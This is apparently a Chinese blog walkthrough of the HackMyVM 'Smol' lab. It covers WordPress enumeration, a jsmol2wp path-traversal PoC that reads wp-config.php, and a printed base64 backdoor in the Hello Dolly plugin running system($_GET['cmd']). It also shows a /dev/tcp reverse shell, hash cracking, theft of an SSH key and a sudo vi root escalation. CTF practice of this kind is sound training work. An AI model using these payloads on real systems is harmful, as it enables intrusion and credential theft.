HMV Smol - Zsm's blog

Smol#

靶场链接#

https://hackmyvm.eu/machines/machine.php?vm=Smol

日常扫描#

1
┌──(parallels㉿kali-linux-2024-2)-[~]
2
└─$ nmap -sC -sV 192.168.31.25
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 20:18 CST
4
Nmap scan report for 192.168.31.25
5
Host is up (0.0023s latency).
6
Not shown: 998 closed tcp ports (conn-refused)
7
PORT   STATE SERVICE VERSION
8
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
9
| ssh-hostkey:
10
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
11
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
12
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
14
|_http-server-header: Apache/2.4.41 (Ubuntu)
15
|_http-title: Did not follow redirect to http://www.smol.hmv
16
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17

18
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19
Nmap done: 1 IP address (1 host up) scanned in 7.60 seconds

设置一下重定向，最下面有Proudly powered by WordPress | PopularFX Theme wpscan启动！

1
┌──(parallels㉿kali-linux-2024-2)-[~]
2
└─$ wpscan --url http://www.smol.hmv/ -e u,ap --plugins-detection aggressive
3
_______________________________________________________________
4
         __          _______   _____
5
         \ \        / /  __ \ / ____|
6
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
7
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
8
            \  /\  /  | |     ____) | (__| (_| | | | |
9
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|
10

11
         WordPress Security Scanner by the WPScan Team
12
                         Version 3.8.25
13
       Sponsored by Automattic - https://automattic.com/
14
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
15
_______________________________________________________________
16

17
[+] URL: http://www.smol.hmv/ [192.168.31.25]
18
[+] Started: Thu Mar  6 20:26:25 2025
19

20
Interesting Finding(s):
21

22
[+] Headers
23
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
24
 | Found By: Headers (Passive Detection)
25
 | Confidence: 100%
26

27
[+] XML-RPC seems to be enabled: http://www.smol.hmv/xmlrpc.php
28
 | Found By: Direct Access (Aggressive Detection)
29
 | Confidence: 100%
30
 | References:
31
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
32
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
33
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
34
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
35
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
36

37
[+] WordPress readme found: http://www.smol.hmv/readme.html
38
 | Found By: Direct Access (Aggressive Detection)
39
 | Confidence: 100%
40

41
[+] Upload directory has listing enabled: http://www.smol.hmv/wp-content/uploads/
42
 | Found By: Direct Access (Aggressive Detection)
43
 | Confidence: 100%
44

45
[+] The external WP-Cron seems to be enabled: http://www.smol.hmv/wp-cron.php
46
 | Found By: Direct Access (Aggressive Detection)
47
 | Confidence: 60%
48
 | References:
49
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
50
 |  - https://github.com/wpscanteam/wpscan/issues/1299
51

52
[i] The WordPress version could not be detected.
53

54
[+] WordPress theme in use: popularfx
55
 | Location: http://www.smol.hmv/wp-content/themes/popularfx/
56
 | Last Updated: 2024-11-19T00:00:00.000Z
57
 | Readme: http://www.smol.hmv/wp-content/themes/popularfx/readme.txt
58
 | [!] The version is out of date, the latest version is 1.2.6
59
 | Style URL: http://www.smol.hmv/wp-content/themes/popularfx/style.css?ver=1.2.5
60
 | Style Name: PopularFX
61
 | Style URI: https://popularfx.com
62
 | Description: Lightweight theme to make beautiful websites with Pagelayer. Includes 100s of pre-made templates to ...
63
 | Author: Pagelayer
64
 | Author URI: https://pagelayer.com
65
 |
66
 | Found By: Css Style In Homepage (Passive Detection)
67
 |
68
 | Version: 1.2.5 (80% confidence)
69
 | Found By: Style (Passive Detection)
70
 |  - http://www.smol.hmv/wp-content/themes/popularfx/style.css?ver=1.2.5, Match: 'Version: 1.2.5'
71

72
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
73

74
[i] Plugin(s) Identified:
75

76
[+] akismet
77
 | Location: http://www.smol.hmv/wp-content/plugins/akismet/
78
 | Last Updated: 2025-02-14T18:49:00.000Z
79
 | Readme: http://www.smol.hmv/wp-content/plugins/akismet/readme.txt
80
 | [!] The version is out of date, the latest version is 5.3.7
81
 |
82
 | Found By: Known Locations (Aggressive Detection)
83
 |  - http://www.smol.hmv/wp-content/plugins/akismet/, status: 200
84
 |
85
 | Version: 5.2 (100% confidence)
86
 | Found By: Readme - Stable Tag (Aggressive Detection)
87
 |  - http://www.smol.hmv/wp-content/plugins/akismet/readme.txt
88
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
89
 |  - http://www.smol.hmv/wp-content/plugins/akismet/readme.txt
90

91
[+] jsmol2wp
92
 | Location: http://www.smol.hmv/wp-content/plugins/jsmol2wp/
93
 | Latest Version: 1.07 (up to date)
94
 | Last Updated: 2018-03-09T10:28:00.000Z
95
 | Readme: http://www.smol.hmv/wp-content/plugins/jsmol2wp/readme.txt
96
 | [!] Directory listing is enabled
97
 |
98
 | Found By: Known Locations (Aggressive Detection)
99
 |  - http://www.smol.hmv/wp-content/plugins/jsmol2wp/, status: 200
100
 |
101
 | Version: 1.07 (100% confidence)
102
 | Found By: Readme - Stable Tag (Aggressive Detection)
103
 |  - http://www.smol.hmv/wp-content/plugins/jsmol2wp/readme.txt
104
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
105
 |  - http://www.smol.hmv/wp-content/plugins/jsmol2wp/readme.txt
106

107
[+] Enumerating Users (via Passive and Aggressive Methods)
108
 Brute Forcing Author IDs - Time: 00:00:02 <> (10 / 10) 100.00% Time: 00:00:02
109

110
[i] User(s) Identified:
111

112
[+] think
113
 | Found By: Author Posts - Author Pattern (Passive Detection)
114
 | Confirmed By:
115
 |  Wp Json Api (Aggressive Detection)
116
 |   - http://www.smol.hmv/index.php/wp-json/wp/v2/users/?per_page=100&page=1
117
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
118
 |  Login Error Messages (Aggressive Detection)
119

120
[+] wp
121
 | Found By: Author Posts - Author Pattern (Passive Detection)
122
 | Confirmed By:
123
 |  Wp Json Api (Aggressive Detection)
124
 |   - http://www.smol.hmv/index.php/wp-json/wp/v2/users/?per_page=100&page=1
125
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
126

127
[+] Jose Mario Llado Marti
128
 | Found By: Rss Generator (Passive Detection)
129

130
[+] wordpress user
131
 | Found By: Rss Generator (Passive Detection)
132

133
[+] admin
134
 | Found By: Wp Json Api (Aggressive Detection)
135
 |  - http://www.smol.hmv/index.php/wp-json/wp/v2/users/?per_page=100&page=1
136
 | Confirmed By:
137
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
138
 |  Login Error Messages (Aggressive Detection)
139

140
[+] gege
141
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
142
 | Confirmed By: Login Error Messages (Aggressive Detection)
143

144
[+] diego
145
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
146
 | Confirmed By: Login Error Messages (Aggressive Detection)
147

148
[+] xavi
149
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
150
 | Confirmed By: Login Error Messages (Aggressive Detection)
151

152
[!] No WPScan API Token given, as a result vulnerability data has not been output.
153
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
154

155
[+] Finished: Thu Mar  6 20:27:53 2025
156
[+] Requests Done: 110753
157
[+] Cached Requests: 16
158
[+] Data Sent: 29.735 MB
159
[+] Data Received: 44.476 MB
160
[+] Memory used: 447.949 MB
161
[+] Elapsed time: 00:01:28

哎，发现插件jsmol2wp还爆红，看看这玩意有没有公开的漏洞 https://cn-sec.com/archives/1247521.html 对于这个插件的1.07版本及其以下有效，

1
POC:
2
http://localhost/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

得到

1
<?php
2
/**
3
 * The base configuration for WordPress
4
 *
5
 * The wp-config.php creation script uses this file during the installation.
6
 * You don't have to use the web site, you can copy this file to "wp-config.php"
7
 * and fill in the values.
8
 *
9
 * This file contains the following configurations:
10
 *
11
 * * Database settings
12
 * * Secret keys
13
 * * Database table prefix
14
 * * ABSPATH
15
 *
16
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
17
 *
18
 * @package WordPress
19
 */
20

21
// ** Database settings - You can get this info from your web host ** //
22
/** The name of the database for WordPress */
23
define( 'DB_NAME', 'wordpress' );
24

25
/** Database username */
26
define( 'DB_USER', 'wpuser' );
27

28
/** Database password */
29
define( 'DB_PASSWORD', 'kbLSF2Vop#lw3rjDZ629*Z%G' );
30

31
/** Database hostname */
32
define( 'DB_HOST', 'localhost' );
33

34
/** Database charset to use in creating database tables. */
35
define( 'DB_CHARSET', 'utf8' );
36

37
/** The database collate type. Don't change this if in doubt. */
38
define( 'DB_COLLATE', '' );
39

40
/**#@+
41
 * Authentication unique keys and salts.
42
 *
43
 * Change these to different unique phrases! You can generate these using
44
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
45
 *
46
 * You can change these at any point in time to invalidate all existing cookies.
47
 * This will force all users to have to log in again.
48
 *
49
 * @since 2.6.0
50
 */
51
define( 'AUTH_KEY',         'put your unique phrase here' );
52
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
53
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
54
define( 'NONCE_KEY',        'put your unique phrase here' );
55
define( 'AUTH_SALT',        'put your unique phrase here' );
56
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
57
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
58
define( 'NONCE_SALT',       'put your unique phrase here' );
59

60
/**#@-*/
61

62
/**
63
 * WordPress database table prefix.
64
 *
65
 * You can have multiple installations in one database if you give each
66
 * a unique prefix. Only numbers, letters, and underscores please!
67
 */
68
$table_prefix = 'wp_';
69

70
/**
71
 * For developers: WordPress debugging mode.
72
 *
73
 * Change this to true to enable the display of notices during development.
74
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
75
 * in their development environments.
76
 *
77
 * For information on other constants that can be used for debugging,
78
 * visit the documentation.
79
 *
80
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
81
 */
82
define( 'WP_DEBUG', false );
83

84
/* Add any custom values between this line and the "stop editing" line. */
85

86

87

88
/* That's all, stop editing! Happy publishing. */
89

90
/** Absolute path to the WordPress directory. */
91
if ( ! defined( 'ABSPATH' ) ) {
92
  define( 'ABSPATH', __DIR__ . '/' );
93
}
94

95
/** Sets up WordPress vars and included files. */
96
require_once ABSPATH . 'wp-settings.php';

账户密码wpuser/kbLSF2Vop#lw3rjDZ629*Z%G，登录进去

弹shell#

额，发现这个用户权限很低（wp版本好低，看的不习惯都），插件不能编辑上传，主题源码不能修改，完啦看里面的内容发现Webmaster Tasks!!有一句话[IMPORTANT] Check Backdoors: Verify the SOURCE CODE of "Hello Dolly" plugin as the site's code revision.，开扫

1
┌──(parallels㉿kali-linux-2024-2)-[~]
2
└─$ dirsearch -u "http://www.smol.hmv/" -x 403 -e php,zip,txt
3
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
4
  from pkg_resources import DistributionNotFound, VersionConflict
5

6
  _|. _ _  _  _  _ _|_    v0.4.3
7
 (_||| _) (/_(_|| (_| )
8

9
Extensions: php, zip, txt | HTTP method: GET | Threads: 25
10
Wordlist size: 10439
11

12
Output File: /home/parallels/reports/http_www.smol.hmv/__25-03-06_20-43-25.txt
13

14
Target: http://www.smol.hmv/
15

16
[20:43:25] Starting:
17
[20:43:37] 301 -    0B  - /index.php  ->  http://www.smol.hmv/
18
[20:43:37] 200 -    7KB - /license.txt
19
[20:43:37] 404 -   19KB - /index.php/login/
20
[20:43:42] 200 -    3KB - /readme.html
21
[20:43:47] 301 -  315B  - /wp-admin  ->  http://www.smol.hmv/wp-admin/
22
[20:43:47] 301 -  317B  - /wp-content  ->  http://www.smol.hmv/wp-content/
23
[20:43:47] 200 -    0B  - /wp-content/
24
[20:43:47] 200 -   84B  - /wp-content/plugins/akismet/akismet.php
25
[20:43:47] 500 -    0B  - /wp-content/plugins/hello.php
26
[20:43:47] 200 -  519B  - /wp-content/uploads/
27
[20:43:47] 200 -  414B  - /wp-content/upgrade/
28
[20:43:47] 301 -  318B  - /wp-includes  ->  http://www.smol.hmv/wp-includes/
29
[20:43:47] 200 -    0B  - /wp-includes/rss-functions.php
30
[20:43:48] 400 -    1B  - /wp-admin/admin-ajax.php
31
[20:43:48] 200 -    0B  - /wp-cron.php
32
[20:43:48] 409 -    3KB - /wp-admin/setup-config.php
33
[20:43:48] 200 -    4KB - /wp-includes/
34
[20:43:48] 200 -    0B  - /wp-config.php
35
[20:43:48] 302 -    0B  - /wp-admin/  ->  http://www.smol.hmv/wp-login.php?redirect_to=http%3A%2F%2Fwww.smol.hmv%2Fwp-admin%2F&reauth=1
36
[20:43:48] 200 -  511B  - /wp-admin/install.php
37
[20:43:48] 302 -    0B  - /wp-signup.php  ->  http://www.smol.hmv/wp-login.php?action=register
38
[20:43:48] 405 -   42B  - /xmlrpc.php
39
[20:43:48] 200 -    2KB - /wp-login.php
40

41
Task Completed

再用一下poc

1
/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php

读取到

1
<?php
2
/**
3
 * @package Hello_Dolly
4
 * @version 1.7.2
5
 */
6
/*
7
Plugin Name: Hello Dolly
8
Plugin URI: http://wordpress.org/plugins/hello-dolly/
9
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
10
Author: Matt Mullenweg
11
Version: 1.7.2
12
Author URI: http://ma.tt/
13
*/
14

15
function hello_dolly_get_lyric() {
16
  /** These are the lyrics to Hello Dolly */
17
  $lyrics = "Hello, Dolly
18
Well, hello, Dolly
19
It's so nice to have you back where you belong
20
You're lookin' swell, Dolly
21
I can tell, Dolly
22
You're still glowin', you're still crowin'
23
You're still goin' strong
24
I feel the room swayin'
25
While the band's playin'
26
One of our old favorite songs from way back when
27
So, take her wrap, fellas
28
Dolly, never go away again
29
Hello, Dolly
30
Well, hello, Dolly
31
It's so nice to have you back where you belong
32
You're lookin' swell, Dolly
33
I can tell, Dolly
34
You're still glowin', you're still crowin'
35
You're still goin' strong
36
I feel the room swayin'
37
While the band's playin'
38
One of our old favorite songs from way back when
39
So, golly, gee, fellas
40
Have a little faith in me, fellas
41
Dolly, never go away
42
Promise, you'll never go away
43
Dolly'll never go away again";
44

45
  // Here we split it into lines.
46
  $lyrics = explode( "\n", $lyrics );
47

48
  // And then randomly choose a line.
49
  return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
50
}
51

52
// This just echoes the chosen line, we'll position it later.
53
function hello_dolly() {
54
  eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
55

56
  $chosen = hello_dolly_get_lyric();
57
  $lang   = '';
58
  if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {
59
    $lang = ' lang="en"';
60
  }
61

62
  printf(
63
    '<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',
64
    __( 'Quote from Hello Dolly song, by Jerry Herman:' ),
65
    $lang,
66
    $chosen
67
  );
68
}
69

70
// Now we set that function up to execute when the admin_notices action is called.
71
add_action( 'admin_notices', 'hello_dolly' );
72

73
// We need some CSS to position the paragraph.
74
function dolly_css() {
75
  echo "
76
  <style type='text/css'>
77
  #dolly {
78
    float: right;
79
    padding: 5px 10px;
80
    margin: 0;
81
    font-size: 12px;
82
    line-height: 1.6666;
83
  }
84
  .rtl #dolly {
85
    float: left;
86
  }
87
  .block-editor-page #dolly {
88
    display: none;
89
  }
90
  @media screen and (max-width: 782px) {
91
    #dolly,
92
    .rtl #dolly {
93
      float: none;
94
      padding-left: 0;
95
      padding-right: 0;
96
    }
97
  }
98
  </style>
99
  ";
100
}
101

102
add_action( 'admin_head', 'dolly_css' );

把base64揭开得到if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); } 其实就是if (isset($_GET["cmd"])) { system($_GET["cmd"]); } 最后，插件通过 add_action(‘admin_notices’, ‘hello_dolly’); 将 hello_dolly() 函数绑定到 admin_notices 钩子。这意味着只要进入 WordPress 的后台页面，就会自动调用 hello_dolly() 函数，在页面右上角显示一段随机歌词

访问一下

1
http://www.smol.hmv/wp-admin/index.php?cmd=ls
2

3
about.php admin-ajax.php admin-footer.php admin-functions.php admin-header.php admin-post.php admin.php async-upload.php authorize-application.php comment.php contribute.php credits.php css custom-background.php custom-header.php customize.php edit-comments.php edit-form-advanced.php edit-form-blocks.php edit-form-comment.php edit-link-form.php edit-tag-form.php edit-tags.php edit.php erase-personal-data.php export-personal-data.php export.php freedoms.php images import.php includes index.php install-helper.php install.php js link-add.php link-manager.php link-parse-opml.php link.php load-scripts.php load-styles.php maint media-new.php media-upload.php media.php menu-header.php menu.php moderation.php ms-admin.php ms-delete-site.php ms-edit.php ms-options.php ms-sites.php ms-themes.php ms-upgrade-network.php ms-users.php my-sites.php nav-menus.php network network.php options-discussion.php options-general.php options-head.php options-media.php options-permalink.php options-privacy.php options-reading.php options-writing.php options.php plugin-editor.php plugin-install.php plugins.php post-new.php post.php press-this.php privacy-policy-guide.php privacy.php profile.php revision.php setup-config.php site-editor.php site-health-info.php site-health.php term.php theme-editor.php theme-install.php themes.php tools.php update-core.php update.php upgrade-functions.php upgrade.php upload.php user user-edit.php user-new.php users.php widgets-form-blocks.php widgets-form.php widgets.phpQuote from Hello Dolly song, by Jerry Herman:

可以执行，本来想着直接弹shell，但是失败了，传个文件上去试试

1
┌──(parallels㉿kali-linux-2024-2)-[~]
2
└─$ echo 'bash -c "/bin/bash -i >& /dev/tcp/192.168.31.187/4444 0>&1"' > rev.sh
3
┌──(parallels㉿kali-linux-2024-2)-[~]
4
└─$ python3 -m http.server 80
5
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
6
192.168.31.25 - - [06/Mar/2025 21:01:42] "GET /rev.sh HTTP/1.1" 200 -
7

8
http://www.smol.hmv/wp-admin/index.php?cmd=curl+192.168.31.187%2Frev.sh+-o+%2Ftmp%2Frev.sh

这样就弹了

提权#

进数据库查表

1
mysql> select * from wp_users;
2
select * from wp_users;
3
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
4
| ID | user_login | user_pass                          | user_nicename | user_email         | user_url            | user_registered     | user_activation_key | user_status | display_name           |
5
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
6
|  1 | admin      | $P$B5Te3OJvzvJ7NjDDeHZcOKqsQACvOJ0 | admin         | admin@smol.thm     | http://www.smol.hmv | 2023-08-16 06:58:30 |                     |           0 | admin                  |
7
|  2 | wpuser     | $P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E. | wp            | wp@smol.thm        | http://smol.thm     | 2023-08-16 11:04:07 |                     |           0 | wordpress user         |
8
|  3 | think      | $P$B0jO/cdGOCZhlAJfPSqV2gVi2pb7Vd/ | think         | josemlwdf@smol.thm | http://smol.thm     | 2023-08-16 15:01:02 |                     |           0 | Jose Mario Llado Marti |
9
|  4 | gege       | $P$BsIY1w5krnhP3WvURMts0/M4FwiG0m1 | gege          | gege@smol.thm      | http://smol.thm     | 2023-08-17 20:18:50 |                     |           0 | gege                   |
10
|  5 | diego      | $P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1 | diego         | diego@smol.thm     | http://smol.thm     | 2023-08-17 20:19:15 |                     |           0 | diego                  |
11
|  6 | xavi       | $P$BvcalhsCfVILp2SgttADny40mqJZCN/ | xavi          | xavi@smol.thm      | http://smol.thm     | 2023-08-17 20:20:01 |                     |           0 | xavi                   |
12
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
13
6 rows in set (0.00 sec)

开爆密码

1
john --wordlist=/usr/share/wordlists/rockyou.txt hash
2
Using default input encoding: UTF-8
3
Loaded 6 password hashes with 6 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
4
Cost 1 (iteration count) is 8192 for all loaded hashes
5
Will run 8 OpenMP threads
6
Press 'q' or Ctrl-C to abort, almost any other key for status
7
sandiegocalifornia (?)

su切换用户

1
diego@smol:/home$ cd think
2
cd think
3
diego@smol:/home/think$ ls
4
ls
5
diego@smol:/home/think$ ls -la
6
ls -la
7
total 32
8
drwxr-x--- 5 think internal 4096 Jan 12  2024 .
9
drwxr-xr-x 6 root  root     4096 Aug 16  2023 ..
10
lrwxrwxrwx 1 root  root        9 Jun 21  2023 .bash_history -> /dev/null
11
-rw-r--r-- 1 think think     220 Jun  2  2023 .bash_logout
12
-rw-r--r-- 1 think think    3771 Jun  2  2023 .bashrc
13
drwx------ 2 think think    4096 Jan 12  2024 .cache
14
drwx------ 3 think think    4096 Aug 18  2023 .gnupg
15
-rw-r--r-- 1 think think     807 Jun  2  2023 .profile
16
drwxr-xr-x 2 think think    4096 Jun 21  2023 .ssh
17
lrwxrwxrwx 1 root  root        9 Aug 18  2023 .viminfo -> /dev/null

别的账户还有意外之喜哎，

1
diego@smol:/home/think/.ssh$ python3 -m http.server 8001
2

3
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
4
└─$ wget 192.168.31.25:8001/id_rsa
5
--2025-03-06 21:35:09--  http://192.168.31.25:8001/id_rsa
6
Connecting to 192.168.31.25:8001... connected.
7
HTTP request sent, awaiting response... 200 OK
8
Length: 2602 (2.5K) [application/octet-stream]
9
Saving to: ‘id_rsa’
10

11
id_rsa              100%[================>]   2.54K  --.-KB/s    in 0.002s
12

13
2025-03-06 21:35:09 (1.39 MB/s) - ‘id_rsa’ saved [2602/2602]
14

15
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
16
└─$ chmod 600 id_rsa
17

18
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
19
└─$ ssh think@192.168.31.25 -i id_rsa
20
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)
21

22
 * Documentation:  https://help.ubuntu.com
23
 * Management:     https://landscape.canonical.com
24
 * Support:        https://ubuntu.com/advantage
25

26
  System information as of Thu 06 Mar 2025 01:36:43 PM UTC
27

28
  System load:  1.46              Processes:                209
29
  Usage of /:   56.1% of 9.75GB   Users logged in:          0
30
  Memory usage: 35%               IPv4 address for enp0s17: 192.168.31.25
31
  Swap usage:   0%
32

33

34
Expanded Security Maintenance for Applications is not enabled.
35

36
162 updates can be applied immediately.
37
125 of these updates are standard security updates.
38
To see these additional updates run: apt list --upgradable
39

40
Enable ESM Apps to receive additional future security updates.
41
See https://ubuntu.com/esm or run: sudo pro status
42

43

44
The list of available updates is more than a week old.
45
To check for new updates run: sudo apt update
46

47
think@smol:~$

信息收集一波

1
think@smol:~$ id
2
uid=1000(think) gid=1000(think) groups=1000(think),1004(dev),1005(internal)
3
think@smol:~$ cat /etc/group | grep dev
4
plugdev:x:46:
5
dev:x:1004:think,gege
6
think@smol:~$ cd /home/gege
7
think@smol:/home/gege$ ls
8
wordpress.old.zip
9
think@smol:/home/gege$ ls -la
10
total 31532
11
drwxr-x--- 2 gege internal     4096 Aug 18  2023 .
12
drwxr-xr-x 6 root root         4096 Aug 16  2023 ..
13
lrwxrwxrwx 1 root root            9 Aug 18  2023 .bash_history -> /dev/null
14
-rw-r--r-- 1 gege gege          220 Feb 25  2020 .bash_logout
15
-rw-r--r-- 1 gege gege         3771 Feb 25  2020 .bashrc
16
-rw-r--r-- 1 gege gege          807 Feb 25  2020 .profile
17
lrwxrwxrwx 1 root root            9 Aug 18  2023 .viminfo -> /dev/null
18
-rwxr-x--- 1 root gege     32266546 Aug 16  2023 wordpress.old.zip

这个zip估计是关键，换成gege用户

这个压缩包需要密码，下载到kali上面

1
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
2
└─$ nc -lvnp 8000 > wordpress.zip
3
listening on [any] 8000 ...
4
connect to [192.168.31.187] from (UNKNOWN) [192.168.31.25] 49032
5

6
gege@smol:~$ nc -q 0 192.168.31.187 8000 < wordpress.old.zip

爆破一下密码

1
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
2
└─$ john zip-hash -wordlist=/usr/share/wordlists/rockyou.txt
3
Using default input encoding: UTF-8
4
Loaded 1 password hash (PKZIP [32/64])
5
Will run 2 OpenMP threads
6
Press 'q' or Ctrl-C to abort, almost any other key for status
7
hero_gege@hotmail.com (wordpress.zip)
8
1g 0:00:00:00 DONE (2025-03-06 22:10) 2.173g/s 16597Kp/s 16597Kc/s 16597KC/s hesse..hellome2010
9
Use the "--show" option to display all of the cracked passwords reliably
10
Session completed.

查一下敏感文件

1
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop/wordpress.old]
2
└─$ cat wp-config.php
3
<?php
4
/**
5
 * The base configuration for WordPress
6
 *
7
 * The wp-config.php creation script uses this file during the installation.
8
 * You don't have to use the web site, you can copy this file to "wp-config.php"
9
 * and fill in the values.
10
 *
11
 * This file contains the following configurations:
12
 *
13
 * * Database settings
14
 * * Secret keys
15
 * * Database table prefix
16
 * * ABSPATH
17
 *
18
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
19
 *
20
 * @package WordPress
21
 */
22

23
// ** Database settings - You can get this info from your web host ** //
24
/** The name of the database for WordPress */
25
define( 'DB_NAME', 'wordpress' );
26

27
/** Database username */
28
define( 'DB_USER', 'xavi' );
29

30
/** Database password */
31
define( 'DB_PASSWORD', 'P@ssw0rdxavi@' );
32

33
/** Database hostname */
34
define( 'DB_HOST', 'localhost' );
35

36
/** Database charset to use in creating database tables. */
37
define( 'DB_CHARSET', 'utf8' );
38

39
/** The database collate type. Don't change this if in doubt. */
40
define( 'DB_COLLATE', '' );
41

42
/**#@+
43
 * Authentication unique keys and salts.
44
 *
45
 * Change these to different unique phrases! You can generate these using
46
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
47
 *
48
 * You can change these at any point in time to invalidate all existing cookies.
49
 * This will force all users to have to log in again.
50
 *
51
 * @since 2.6.0
52
 */
53
define( 'AUTH_KEY',         'put your unique phrase here' );
54
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
55
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
56
define( 'NONCE_KEY',        'put your unique phrase here' );
57
define( 'AUTH_SALT',        'put your unique phrase here' );
58
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
59
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
60
define( 'NONCE_SALT',       'put your unique phrase here' );
61

62
/**#@-*/
63

64
/**
65
 * WordPress database table prefix.
66
 *
67
 * You can have multiple installations in one database if you give each
68
 * a unique prefix. Only numbers, letters, and underscores please!
69
 */
70
$table_prefix = 'wp_';
71

72
/**
73
 * For developers: WordPress debugging mode.
74
 *
75
 * Change this to true to enable the display of notices during development.
76
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
77
 * in their development environments.
78
 *
79
 * For information on other constants that can be used for debugging,
80
 * visit the documentation.
81
 *
82
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
83
 */
84
define( 'WP_DEBUG', true );
85

86
/* Add any custom values between this line and the "stop editing" line. */
87

88

89

90
/* That's all, stop editing! Happy publishing. */
91

92
/** Absolute path to the WordPress directory. */
93
if ( ! defined( 'ABSPATH' ) ) {
94
        define( 'ABSPATH', __DIR__ . '/' );
95
}
96

97
/** Sets up WordPress vars and included files. */
98
require_once ABSPATH . 'wp-settings.php';

得到账号密码xavi/P@ssw0rdxavi@

1
gege@smol:~$ su xavi
2
Password:
3
xavi@smol:/home/gege$ sudo -l
4
[sudo] password for xavi:
5
Matching Defaults entries for xavi on smol:
6
    env_reset, mail_badpass,
7
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
8

9
User xavi may run the following commands on smol:
10
    (ALL : ALL) /usr/bin/vi /etc/passwd

稳啦！sudo /usr/bin/vi /etc/passwd输入:!bash即可

a ctfer on the load

Smol#

靶场链接#

日常扫描#

弹shell#

提权#